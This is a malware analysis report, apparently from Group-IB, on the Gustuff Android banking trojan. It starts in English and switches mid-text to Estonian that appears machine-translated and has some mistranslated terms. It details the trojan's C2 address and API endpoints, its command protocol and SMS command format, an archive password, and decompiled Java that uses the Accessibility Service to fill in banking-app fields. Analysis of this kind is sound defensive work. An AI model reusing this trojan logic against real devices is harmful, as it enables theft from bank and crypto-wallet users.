
Just a few days ago, Group-IB on the activity of the mobile Android Trojan Gustuff. It operates exclusively in international markets, targeting clients of the 100 largest foreign banks, users of 32 mobile cryptocurrency wallets, as well as large e-commerce platforms. The developer of Gustuff is a Russian-speaking cybercriminal under the nickname Bestoffer. Recently, he glorified his Trojan as a 'serious product for people with knowledge and experience.'
A malware analysis specialist from Group-IB Ivan Pisarjev detailed in his research how Gustuff operates and what dangers it poses.
Who is Gustuff hunting
Gustuff belongs to a new generation of malware with fully automated functions. According to the developer, the Trojan has become a new improved version of the malware AndyBot, which has been attacking Android phones since November 2017 and stealing money through phishing web forms disguised as mobile applications of well-known international banks and payment systems. Bestoffer reported that the rental price for the 'Gustuff Bot' was $800 per month.
Gustuffi analĂŒĂŒs nĂ€itas, et potentsiaalselt on troojani sihtmĂ€rgiks suurte pankade mobiilirakenduste kasutajad, nagu Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, samuti Bitcoin Wallet, BitPay, Cryptopay, Coinbase ja teised krĂŒptorahakotid.
Alguses klassikalise pangatroojana loodud Gustuff on oma praeguses versioonis oluliselt laiendanud potentsiaalsete rĂŒnnakuobjektide nimekirja. Lisaks panganduse, fintech-ettevĂ”tete ja krĂŒptoteenuste Android-rakendustele on Gustuff sihtmĂ€rgiks ka turuplatvormide, veebipoodide, maksesĂŒsteemide ja sĂ”numirakenduste kasutajad. Sealhulgas PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ja teised.
Sisenemispunkt: massilise nakatumise eeldamine
Gustuff'i iseloomustab «klassikaline» sissetungimistaktika Android-smartfonidesse SMS-sĂ”numite kaudu, mis sisaldavad linke APK-failidele. Kui Android-seade nakatub troojanojaga, vĂ”ib serveri kĂ€su peale juhtuda Gustuff'i edasine levik nakatunud telefoni kontaktide hulgas vĂ”i serveri andmebaasis. Gustuff'i funktsionaalsus on suunatud massilisele nakatumisele ja oma operaatorite Ă€ri maksimeerimisele â selles on ainulaadne funktsioon «autotĂ€ide», mis siseneb legitiimsetesse mobiilsetesse pangarakendustesse ja krĂŒptorahakottidesse, vĂ”imaldades kiiresti ja ulatuslikult raha varastada.
Troojani uurimine nĂ€itas, et autotĂ€ite funktsioon on rakendatud tĂ€nu Accessibility Service'ile â teenusele inimeste jaoks, kellel on liikumispiirangud. Gustuff ei ole esimene troojan, mis suudab tĂ”husalt ĂŒletada kaitset, mis takistab teiste rakenduste akende elementidega suhtlemist, kasutades seda Androidi teenust. Siiski jÀÀb Accessibility Service'i kasutamine koos autotĂ€ide funktsiooniga siiani ĂŒsna harvaks nĂ€htuseks.
PĂ€rast Gustuffi ohvri telefonile laadimist, kasutades Accessibility Service'i, saab see vĂ”imaluse suhelda teiste rakenduste (pankade, krĂŒptovaluutade ning online-ostlemise, sĂ”numite saatmise jms) akende elementidega, tehes vajalikud toimingud kurjategijate jaoks. NĂ€iteks serveri kĂ€skluse jĂ€rgi suudab trooja vajutada nuppe ja muuta pangarakendustes tekstivĂ€ljade vÀÀrtusi. Accessibility Service'i mehhanismi kasutamine vĂ”imaldab troojal mööda minna kaitsemehhanismidest, mida pangad rakendavad eelneva pĂ”lvkonna mobiiltroojade vastu, samuti muudatustest turvapoliitikas, mille Google on uusimates Androidi opsĂŒsteemi versioonides rakendanud. Nii suudab Gustuff "vĂ€lja lĂŒlitada" Google Protecti kaitset: autori kinnituste kohaselt töötab see funktsioon 70% juhtudest.

Gustuff vĂ”ib nĂ€idata vale PUSH-teavitusi, mille ikonid matkivad legaalseid mobiilirakendusi. Kasutaja klikib PUSH-teavitusele ja nĂ€eb serverist laetud phishing-akent, kuhu ta ise sisestab nĂ”utud pangakaardi vĂ”i krĂŒptorahakoti andmed. Teises Gustuffâi tööstsenaariumis avatakse rakendus, mille nime alt PUSH-teavitus nĂ€idati. Sellisel juhul vĂ”ib pahavara serveri kĂ€sul Accessibility Serviceâi kaudu tĂ€ita pangarakenduse vormivĂ€ljad petlikuks tehinguks.
Gustuffâi funktsioonide hulka kuulub samuti teabe saatmine serverisse nakatunud seadme kohta, SMS-sĂ”numite lugemise/saatmise vĂ”imalus, USSD-pĂ€ringute saadetamine, SOCKS5 Proxy kĂ€ivitamine, lingile minemine, failide (sealhulgas dokumentide, ekraanipiltide, fotode) saatmine serverisse, seadme taastamine algsete seadete juurde.
Pahavara analĂŒĂŒs
Enne pahavara rakenduse installimist kuvab Androidi operatsioonisĂŒsteem kasutajale akna, mis sisaldab loetelu Gustuffâi poolt nĂ”utud Ă”igustest:

Rakenduse installatsioon toimub alles pÀrast kasutaja nÔusoleku saamist. PÀrast rakenduse kÀivitamist kuvab troojanhobuses kasutajale akna:

PĂ€rast seda eemaldab see oma ikooni.
Gustuff on pakitud, autori sÔnul, FTT pakendaja poolt. PÀrast kÀivitamist pöördub rakendus perioodiliselt CnC-serveri poole, et saada kÀske. Meie uuritud failides kasutati juhtimisseervereina IP-aadressi 88.99.171[.]105 (edasi nimetame seda <%CnC%>).
PÀrast kÀivitamist hakkab programm saatma sÔnumeid serverile http:///api/v1/get.php.
Oodatav vastus on JSON jÀrgmises formaadis:
{
"results" : "OK",
"command":{
"id": "",
"command":"",
"timestamp":"",
"params":{
},
},
}Iga pÀringu korral saadab rakendus teavet nakatunud seadme kohta. SÔnumi formaat on esitatud allpool. Tasub mÀrkida, et vÀljad full, extra, rakendused ja permission on valikulised ja saadetakse ainult CnC-pÀringu korral.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
} Konfiguratsioonide andmete salvestamine
Gustuff salvestab taotlemiseks vajaliku teabe preference-failis. Faili nimi ja selles olevate parameetrite nimed on MD5-reefid, mis on saadud stringist 15413090667214.6.1, kus <%name%> â algne nimi-vÀÀrtus. Python'i tĂ”lgendamise funktsiooni genereerimise nimi:
nameGenerator(input):
output = md5("15413090667214.6.1" + input) Edasi tÀhistame kui nameGenerator(input).
Seega, esimese faili nimi: nameGenerator(«API_SERVER_LIST»), see sisaldab vÀÀrtusi jÀrgmiste nimedega:
| Muutuja nimi | VÀÀrtus |
|---|---|
| nameGenerator(«API_SERVER_LIST») | Sisaldab CnC-aadresside loetelu massiivina. |
| nameGenerator(«API_SERVER_URL») | Sisaldab CnC-aadressi. |
| nameGenerator(«SMS_UPLOAD») | Vaikimisi lipp on seatud. Kui lipp on seatud â saadab see SMS-sĂ”numeid CnC-le. |
| nameGenerator(«SMS_ROOT_NUMBER») | Telefoninumber, millele saadetakse SMS-sÔnumid nakatunud seadme poolt. Vaikimisi null. |
| nameGenerator(«SMS_ROOT_NUMBER_RESEND») | Vaikimisi lipp on lĂ€htestatud. Kui seadistatud â kui nakatunud seade saab SMS-i, saadetakse see juur-numbrile. |
| nameGenerator(«DEFAULT_APP_SMS») | Vaikimisi lipp on lĂ€htestatud. Kui see lipp on seatud â rakendus töötab sisenevate SMS-sĂ”numite töötlemisega. |
| nameGenerator(«DEFAULT_ADMIN») | Vaikimisi lipp on nullitud. Kui lipp on seatud â rakendusel on administraatori Ă”igused. |
| nameGenerator(«DEFAULT_ACCESSIBILITY») | Vaikimisi lipp on nullitud. Kui lipp on seatud â kĂ€ivitatakse teenus, mis kasutab Accessibility Service'i. |
| nameGenerator(«APPS_CONFIG») | JSON-objekt, mis sisaldab tegevuste loetelu, mida tuleb teostada, kui toimub Accessibility-sĂŒndmus, mis on seotud konkreetse rakendusega. |
| nameGenerator(«APPS_INSTALLED») | Hoia seadmes installitud rakenduste loetelu. |
| nameGenerator(«IS_FIST_RUN») | Esimese kĂ€ivitamise lipp tĂŒhistatakse. |
| nameGenerator(«UNIQUE_ID») | Sisaldab ainulaadset identifikaatorit. See genereeritakse boti esmakordsel kÀivitamisel. |
KÀskude töötlusmoodul serverist
Rakendus salvestab CnC-serverite aadresse koostatud massiivina, mis on kodeeritud Base85 stringides. CnC loetelu â serverite vĂ”ib muutuda vastusena vastavale kĂ€sule, sel juhul salvestatakse aadressid preference-failis.
Server saadab rakendusele kÀsu vastusena pÀringule. Tuleb mÀrkida, et kÀsud ja parameetrid on esitatud JSON-formaadis. Rakendus suudab töödelda jÀrgmisi kÀske:
| Meeskond | Kirjeldus |
|---|---|
| forwardStart | Alustada nakatunud seadme saadetud SMS-sÔnumite saatmise suunamist CnC-serverisse. |
| forwardStop | Katkestada nakkusest kannatada saanutest saadetud SMS-sÔnumid CnC-serverisse. |
| ussdRun | Teha USSD-pÀring. Number, millele USSD-pÀring tuleb teha, on JSON-vÀljas «number». |
| sendSms | Saada ĂŒks SMS-sĂ”num (vajadusel jagatakse sĂ”num osadeks). KĂ€sk vĂ”tab argumendiks JSON-objekti, mis sisaldab vĂ€lju «to» â sihtnumber ja «body» â sĂ”numi sisu. |
| sendSmsAb | Saada SMS-sÔnumid (vajadusel jagatakse sÔnum osadeks) kÔigile nakkusest kannatada saanud seadme kontaktide nimekirjas. SÔnumite vahel on 10-sekundiline paus. SÔnumi sisu on JSON-vÀljas «body». |
| sendSmsMass | Saada SMS-sĂ”numid (vajadusel jagatakse sĂ”num osadeks) kontaktidele, mis on mÀÀratud kĂ€su parameetrites. SĂ”numite vahel on 10-sekundiline paus. KĂ€sk vĂ”tab argumendiks JSON-massiivi (vĂ€li «sms»), mille elemendid sisaldavad vĂ€lju «to» â sihtnumber ja «body» â sĂ”numi sisu. |
| changeServer | See kĂ€sk vĂ”ib parameetrina vĂ”tta vÀÀrtuse âurlâ â siis muudab bot nameGenerator(âSERVER_URLâ) vÀÀrtust, vĂ”i âarrayâ â siis salvestab bot massiivi nameGenerator(âAPI_SERVER_LISTâ). Nii muudab rakendus CnC-serverite aadressi. |
| adminNumber | KĂ€sk on ette nĂ€htud root-numbriga töötamiseks. KĂ€sk vĂ”tab vastu JSON-objekti jĂ€rgmiste parameetritega: ânumberâ â muudab nameGenerator(âROOT_NUMBERâ) saadud vÀÀrtuseks, âresendâ â muudab nameGenerator(âSMS_ROOT_NUMBER_RESENDâ), âsendIdâ â saadab nameGenerator(âROOT_NUMBERâ) uniqueID. |
| updateInfo | Saada serverisse teave nakatunud seadme kohta. |
| wipeData | KÀsk on ette nÀhtud kasutajate andmete kustutamiseks. Oleneneb, kuidas rakendus kÀivitati, toimub kas tÀielik andmete kustutamine koos seadme taaskÀivitamisega (primary user) vÔi ainult kasutajate andmete kustutamine (secondary user). |
| socksStart | KÀivitada Proxy-moodul. Mooduli töö on kirjeldatud eraldi osas. |
| socksStop | LÔpetada Proxy-mooduli töö. |
| openLink | Minge lingile. Link asub JSON-parameetris vĂ”tmega âurlâ. Lingile pÀÀsemiseks kasutatakse âandroid.intent.action.VIEWâ. |
| uploadAllSms | Saada serverisse kÔik seadme poolt vastu vÔetud SMS-ÀÀrsi. |
| uploadAllPhotos | Saada URL pildile nakatunud seadmest. URL tuleb parameetrina. |
| uploadFile | Saada URL failile nakatunud seadmest. URL tuleb parameetrina. |
| uploadPhoneNumbers | Saada serverisse telefoninumbrid kontaktide loendist. Kui parameetrina saadetakse JSON-objekt, millel on vÔtmekoht «ab», siis rakendus saab kontaktide loendi telefoniraamatust. Kui parameetrina saadetakse JSON-objekt vÔtme «sms» all, siis rakendus loeb kontaktide loendi SMS-ÀÀrsi saatjatelt. |
| changeArchive | Rakendus laadib faili aadressilt, mis tuleb parameetrina vÔtmega «url». Laaditud fail salvestatakse nimega «archive.zip». SeejÀrel rakendus dekompressib faili, vajadusel kasutades arhiivi parooli «b5jXh37gxgHBrZhQ4j3D». Dekompresseeritud failid salvestatakse kausta [external storage]/hgps. Selles kaustas rakendus salvestab veebifake (kui on hiljem kirjas). |
| actions | KÀsk on mÔeldud Action Service'i töötamiseks, mis on kirjeldatud eraldi jaotises. |
| test | Ei tee midagi. |
| download | KĂ€sk on ette nĂ€htud faili laadimiseks kaugserverist ja salvestamiseks kausta âDownloadsâ. URL ja faili nimi edastatakse parameetrina, vastavalt JSON-objekti vĂ€ljadele: âurlâ ja âfileNameâ. |
| remove | Kustutab faili kaustast âDownloadsâ. Faili nimi edastatakse JSON-parameetris vĂ”tmega âfileNameâ. Vaikimisi faili nimi on âtmp.apkâ. |
| notification | Kuva teatis, mille kirjeldustekstid ja pealkiri mÀÀratakse haldusserveris. |
KĂ€skude formaat notification:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}Teatis, mille loob uuritav fail, nĂ€eb vĂ€lja identne rakenduse poolt loodud teadetega, mis on nĂ€idatud vĂ€ljal app. Kui vĂ€lja vÀÀrtus openApp â True, rakenduse kĂ€ivitamine, mis on mÀÀratud vĂ€ljal, kĂ€ivitub teadet avades, app. Kui vĂ€lja vÀÀrtus openApp â False, siis:
- avatakse petturlik aken, mille sisu laaditakse kaustast /hgps/
- avatakse petturlik aken, mille sisu laaditakse serverist ?id=&app=
- avaneb phishing aken, mis varjatakse Google Play kaardi all, kus saab sisestada kaardi andmeid.
Iga kÀsu tÀitmise tulemuse saadab rakendus set_state.php JSON objekti kujul jÀrgmises formaadis:
{
"command":
{
"command":,
"id":,
"state":
}
"id":
} ActionsService
Rakenduse poolt töödeldavate kÀskude nimekirja kuuluvad action. Kui kÀsk on saadetud, pöördub kÀskude töötlemise moodul selle teenuse poole, et tÀita laiendatud kÀsku. Teenus aktsepteerib JSON objekti parameetrina. Teenus suudab tÀita jÀrgmisi kÀske:
1. PARAMS_ACTION â kui selline kĂ€sk on saadud, tĂ”mbab teenus kĂ”igepealt JSON parameetrilt vĂ€lja vÀÀrtuse vĂ”tme Type jĂ€rgi, mis vĂ”ib olla jĂ€rgmine:
- serviceInfo â alamkĂ€sk tĂ”mbab JSON parameetrilt vÀÀrtuse vĂ”tme jĂ€rgi includeNotImportant. Kui lipp on tĂ”ene â rakendus seab FLAG_ISOLATED_PROCESS teenusele, mis kasutab Accessibility Service'i. Seega kĂ€ivitatakse teenus eraldi protsessis.
- root â teavitada ja saata serverisse teavet aknast, mis on praegu fookuses. Rakendus saab teabe AccessibilityNodeInfo klassi abil.
- admin â taotleda administraatori Ă”igusi.
- viivitus â peatada ActionsService töö mÀÀratud millisekundite arvuks, nagu on mÀÀratletud parameetris 'data'.
- windows â saata loetelu kasutajale nĂ€htavatest aknadest.
- install â installida rakendus nakatunud seadmesse. Paketi nimi â arhiivi mÀÀratleb 'fileName' vĂ”ti. Ise arhiiv asub Downloads kaustas.
- globaalne â alammeeskond, mis on mĂ”eldud liikumiseks praegusest aknast:
- kiire seadetemenĂŒĂŒ
- tagasi
- avaleht
- teatiste juurde
- hiljuti avatud rakenduste aknasse
- kĂ€ivitama â rakenduse kĂ€ivitamine. Rakenduse nimi tuleb parameetritena. data.
- helid â muuta helireĆŸiim vaikseks.
- avama â valgustada ekraani ja klaviatuuri tĂ€ieliku heleduseni. Rakendus teostab selle tegevuse WakeLock abil, mĂ€rkides sildi 'Application label':INFO.
- permissionOverlay â funktsiooni ei ole rakendatud (vastus kĂ€su tĂ€itmisele â {"message":"Not support"} vĂ”i {"message":"low sdk"})
- ĆŸest â funktsioon pole rakendatud (kĂ€skluse tĂ€itmise vastus â {âmessageâ:âNot supportâ} vĂ”i {âmessageâ:âLow APIâ})
- permissions â see kĂ€sk on vajalik Ă”iguste taotlemiseks rakendusele. Kuid taotluse funktsioon ei ole rakendatud, seega kĂ€sk ei ole mĂ”ttekas. Taotletav Ă”iguste loetelu tuleb JSON-massiivina vĂ”tmega âpermissionsâ. TĂŒĂŒpiline loetelu:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- open â kuvada hĂ€kkeriaken. SĂ”ltuvalt serverist saadud parameetrist vĂ”ib rakendus kuvada jĂ€rgmisi hĂ€kkeriaknaid:
- Kuvada hÀkkeriaken, mille sisu on mÀÀratud failis aadressil <%external directory%>/hgps/<%param_filename%>. Kasutaja interaktsiooni tulemus aknaga saadetakse aadressile <%CnC%>/records.php
- Kuvada hÀkkeriaken, mille sisu eelnevalt laaditakse aadressilt <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Kasutaja interaktsiooni tulemus aknaga saadetakse aadressile <%CnC%>/records.php
- Kuvada hÀkkeriaken, mis on maskeeritud Google Play Cardi alla.
- interactive â meeskond on mĂ”eldud suhtlemiseks teiste rakenduste akende elementidega AcessibilityService'i abil. Suhtlemiseks on rakenduses rakendatud spetsiaalne teenus. Uuritud rakendus vĂ”ib suhelda jĂ€rgmiste akendega:
- Aktsepteeritav hetkel. Sel juhul parameeter sisaldab objekti id-d vÔi teksti (nimetust), millega tuleb suhelda.
- Kasutajale nÀhtavad hetkel kÀsu tÀitmise ajal. Rakendus valib aknad id pÔhjal.
Saades objektid AccessibilityNodeInfo huvipakkuvate akna elementide jaoks, vÔib rakendus sÔltuvalt parameetritest teostada jÀrgmisi toiminguid:
- focus â seadistada fookus objektile.
- click â klikkida objektil.
- actionId â teostada toiming ID jĂ€rgi.
- setText â muuta objekti tekst. Teksti muutmine on vĂ”imalik kahesuguste viisidega: teostades toimingu ACTION_SET_TEXT (kui nakatunud seadme Androidi versioon on varem vĂ”i vĂ”rdne LOLLIPOP), vĂ”i paigutades lĂ”ikepuhvrisse teksti ja kleepides selle objekti (ĂŒksused kĂ”rgemad versioonid). Seda kĂ€sku vĂ”ib kasutada andmete muutmiseks pangarakenduses.
2. PARAMS_ACTIONS â sama mis PARAMS_ACTION, ainult et tuleb JSON-massiiv kĂ€skudega.
Tundub, et paljusid huvitab, kuidas nÀeb vÀlja suhtlemise funktsioon teise rakenduse akende elementidega. Nii on see funktsioon Gustuff'is ellu viidud:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}Teksti asendamise funktsioon:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}Nii seega, kui Gustuffi juhtserver on Ă”igesti seadistatud, suudab ta tĂ€ita pangarakenduse tekstivĂ€lju ja vajutada vajalikke nuppe tehingu tegemiseks. Trojan ei pea isegi rakenduses sisselogimist lĂ€bima â piisab, kui saata kĂ€sk PUSH-teavituse demonstreerimiseks koos eelnevalt installitud pangarakenduse avamisega. Kasutaja lĂ€bib ise sisselogimise, pĂ€rast mida saab Gustuff automaatse tĂ€itmise teostada.
SMS-sÔnumite töötlemise moodul
Rakendus loonib sĂŒndmuste kĂ€sitlejat nakatunud seadme SMS-sĂ”numite vastuvĂ”tmiseks. Uuritud rakendus saab operaatorilt kĂ€ske, mis saadetakse SMS-sĂ”numi kehas. KĂ€sklus tuleb formaadis:
7!5=<%Base64 encoded command%>
Rakendus otsib kÔigist saabuvatest SMS-sÔnumitest stringi 7!5=, avastamise korral dekodeerib stringi Base64 formaati nihkega 4 ja tÀidab kÀsu. KÀsud sarnanevad CnC-kÀskudega. TÀitmise tulemused saadetakse sama numbri peale, kust kÀsk tuli. Vastuse formaat:
7*5=<%Base64 encode of «result_code command»%>
Valikuliselt vĂ”ib rakendus saata kĂ”ik vastuvĂ”etud sĂ”numid Root-numbrile. Selleks peab preference-failis olema mĂ€rgitud Root-number ja seatud sĂ”numite ĂŒmbersuunamise lipp. SMS-sĂ”num saadetakse kurjategija numbrile formaadis:
â
Samuti vÔib rakendus valikuliselt saata sÔnumeid CnC-le. SMS-sÔnum saadetakse serverisse JSON-formaadis:
{
"id":,
"sms":
{
"text":,
"number":,
"date":
}
}Kui lipp on seatud nameGenerator(«DEFAULT_APP_SMS») â rakendus peatab SMS-sĂ”numite töötlemise ja tĂŒhjendab sissetulevate sĂ”numite loendi.
Proxy-moodul
Uuritud rakenduses on olemas Backconnect Proxy moodul (edasi Proxy-moodul), mis sisaldab eraldi klassi, mis hÔlmab staatilisi vÀlju konfiguratsiooniga. Konfiguratsioonide andmed on nÀidikus avatud kujul:

KÀik, mis toimingud, mis toimub Proxy-moodulis, logitakse failidesse. Selle jaoks loob rakendus External Storage-s kausta nimega "logs" (vÀli ProxyConfigClass.logsDir konfiguratsiooniklassis), kus hoiustatakse logifailid. Logimine toimub failidesse, mille nimed on:
- main.txt â sellesse faili logitakse klassi nimega CommandServer töö. Edasi logimist jĂ€rje str sellesse faili tĂ€histame kui mainLog(str).
- session-<%id%>.txt â sellesse faili salvestatakse logi andmed, mis on seotud konkreetse proxy sessiooniga. Edasi logimist jĂ€rje str sellesse faili tĂ€histame kui sessionLog(str).
- server.txt â sellesse faili logitakse kĂ”ik andmed, mis salvestatakse ĂŒlaltoodud failidesse.
Logi andmete formaat:
<%Date%> [Thread[<%thread id%>], id[]]: log-string
Proxy-mooduli tööd kÀigus tekkivad erandid logitakse samuti faili. Selleks loob rakendus JSON-formaadis objekti:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}PĂ€rast seda konverteerib ta selle stringi esituseks ja logib.
Proxy-mooduli kĂ€ivitamine toimub vastava kĂ€su saabumisega. Kui kĂ€su kĂ€ivitada Proxy-mooduli rakendust, kĂ€ivitab rakendus teenuse nimega MainService, mis vastutab Proxy-mooduli töö juhtimise eest â selle kĂ€ivitamise ja peatamise eest.
Teenuse kÀivitamise etapid:
1. KĂ€ivitab aja, mis aktiveerub kord minutis ja kontrollib Proxy-mooduli aktiivsust. Kui moodul ei ole aktiivne â kĂ€ivitab selle.
Samuti toimub sĂŒndmuse aktiveerimisel android.net.conn.CONNECTIVITY_CHANGE Proxy-mooduli kĂ€ivitamine.
2. Rakendus loob wake-lock'i parameetriga PARTIAL_WAKE_LOCK ja omandab selle. Nii ei luba see seadme CPU-l magamisse minna.
3. KÀivitab Proxy-mooduli kÀskude töötlemise klassi, logides eelnevalt rea mainLog("start server") ja
Server::start() host[], commandPort[], proxyPort[]
kus proxy_cnc, command_port ja proxy_port â parameetrid, mis saadakse Proxy-serveri konfiguratsioonist.
KÀskude töötlemise klassi nimi on CommandConnection. PÀrast kÀivitamist tÀidab see jÀrgmised toimingud:
4. Ăhendub ProxyConfigClass.host: ProxyConfigClass.commandPort ja saadab sinna andmed nakatunud seadme JSON-formaadis:
{
"id":,
"imei":,
"imsi":,
"model":,
"manufacturer":,
"androidVersion":,
"country":,
"partnerId":,
"packageName":,
"networkType":,
"hasGsmSupport":,
"simReady":,
"simCountry":,
"networkOperator":,
"simOperator":,
"version":
}Kus:
- id â identifikaator, proovib saada Shared Preference failist nimega âxâ vÀÀrtust, millel on vĂ€li âidâ. Kui seda vÀÀrtust ei Ă”nnestu saada, genereerib see uue. Seega on Proxy-moodulil oma identifikaator, mis genereeritakse samamoodi nagu Bot ID.
- imei â seadme IMEI. Kui vÀÀrtuse hankimise kĂ€igus tekkis viga, salvestatakse selle asemel teksti veateade.
- imsi â seadme rahvusvaheline mobiilse kasutaja identiteet. Kui vÀÀrtuse hankimise kĂ€igus tekkis viga, salvestatakse selle asemel teksti veateade.
- model â lĂ”ppkasutajale nĂ€htav nimi lĂ”pptootele.
- manufacturer â toote/riistvara tootja (Build.MANUFACTURER).
- androidVersion â string formaadis « (),»
- country â seadme praegune asukoht.
- partnerId â tĂŒhi string.
- packageName â paketi nimi.
- networkType â praeguse vĂ”rguĂŒhenduse tĂŒĂŒp (nĂ€iteks: «WIFI», «MOBILE»). Vigade korral tagastab null.
- hasGsmSupport â true â kui telefon toetab GSM-i, vastasel juhul false.
- simReady â SIM-kaardi olek.
- simCountry â ISO-kood riigist (SIM-kaardi teenusepakkuja alusel).
- networkOperator â operaatori nimi. Kui vÀÀrtuse hankimise kĂ€igus tekkis viga, salvestatakse selle asemel teksti veateade.
- simOperator â teenusepakkuja nimi (SPN). Kui vÀÀrtuse hankimise kĂ€igus tekkis viga, salvestatakse selle asemel teksti veateade.
- versioon â see vĂ€li salvestatakse konfigureerimise klassis, uuritavate boti versioonide puhul oli see «1.6».
5. LÀheb ootesse serverilt kÀskude ootamiseks. Serverist tulevad kÀsud jÀrgmises formaadis:
- 0 offset â kĂ€sk
- 1 offset â sessionId
- 2 offset â pikkus
- 4 offset â andmed
KĂ€su saabumisel logib rakendus:
mainLog(«Header { sessionId, type[], length[] }»)
Serverilt vÔivad tulla jÀrgmised kÀsud:
| Nimi | KĂ€sk | Andmed | Kirjeldus |
|---|---|---|---|
| connectionId | 0 | Ăhenduse ID | Luua uus ĂŒhendus |
| SLEEP | 3 | Aeg | Peatada Proxy-mooduli töö |
| PING_PONG | 4 | â | Saada PONG-sĂ”num |
PONG-sÔnum koosneb 4 baitist ja nÀeb vÀlja jÀrgmiselt: 0x04000000.
KĂ€su connectionId (uue ĂŒhenduse loomise jaoks) saabumisel CommandConnection loob klassi eksemplari ProxyConnection.
- Proximise protsessis osaleb kaks klassi: ProxyConnection ja lĂ”pp. Klasside loomisel ProxyConnection toimub ĂŒhendamine aadressiga ProxyConfigClass.host: ProxyConfigClass.proxyPort ja JSON-objekti edastamine:
{
"id":
}Vastuseks saadab server SOCKS5-sĂ”numi, mis sisaldab eemaloleva serveri aadressi, kellega tuleb ĂŒhendus luua. Suhtlemine selle serveriga toimub klassi kaudu lĂ”pp. Ăhenduse loomist saab kujutleda jĂ€rgmiselt:

VÔrgusuhted
Kuna vĂ€ltida liikluse analĂŒĂŒsi vĂ”rgupĂŒĂŒdurite poolt, saab CnC-serveri ja rakenduse vaheline suhtlus kaitsta SSL-protokolliga. KĂ”ik edastatud andmed serverist ja serverisse esitatakse JSON-formaadis. Rakendus tĂ€idab oma töö kĂ€igus jĂ€rgmisi pĂ€ringuid:
- http:///api/v1/set_state.php â kĂ€su tĂ€itmise tulemus.
- http:///api/v1/get.php â kĂ€su saamine.
- http:///api/v1/load_sms.php â SMS-sĂ”numite allalaadimine nakatunud seadmel.
- http:///api/v1/load_ab.php â kontaktide nimekirja allalaadimine nakatunud seadmel.
- http:///api/v1/aevents.php â pĂ€ring toimub, kui uuendatakse preference-failis olevaid parameetreid.
- http:///api/v1/set_card.php â andmete laadimine, mis on saadud phishing-aken, mis maskeerib end Google Play turuna.
- http:///api/v1/logs.php â logiandmete allalaadimine.
- http:///api/v1/records.php â andmete laadimine, mis on saadud phishing-akendega.
- http:///api/v1/set_error.php â teavitamine tekkinud tĂ”rkest.
Soovitused
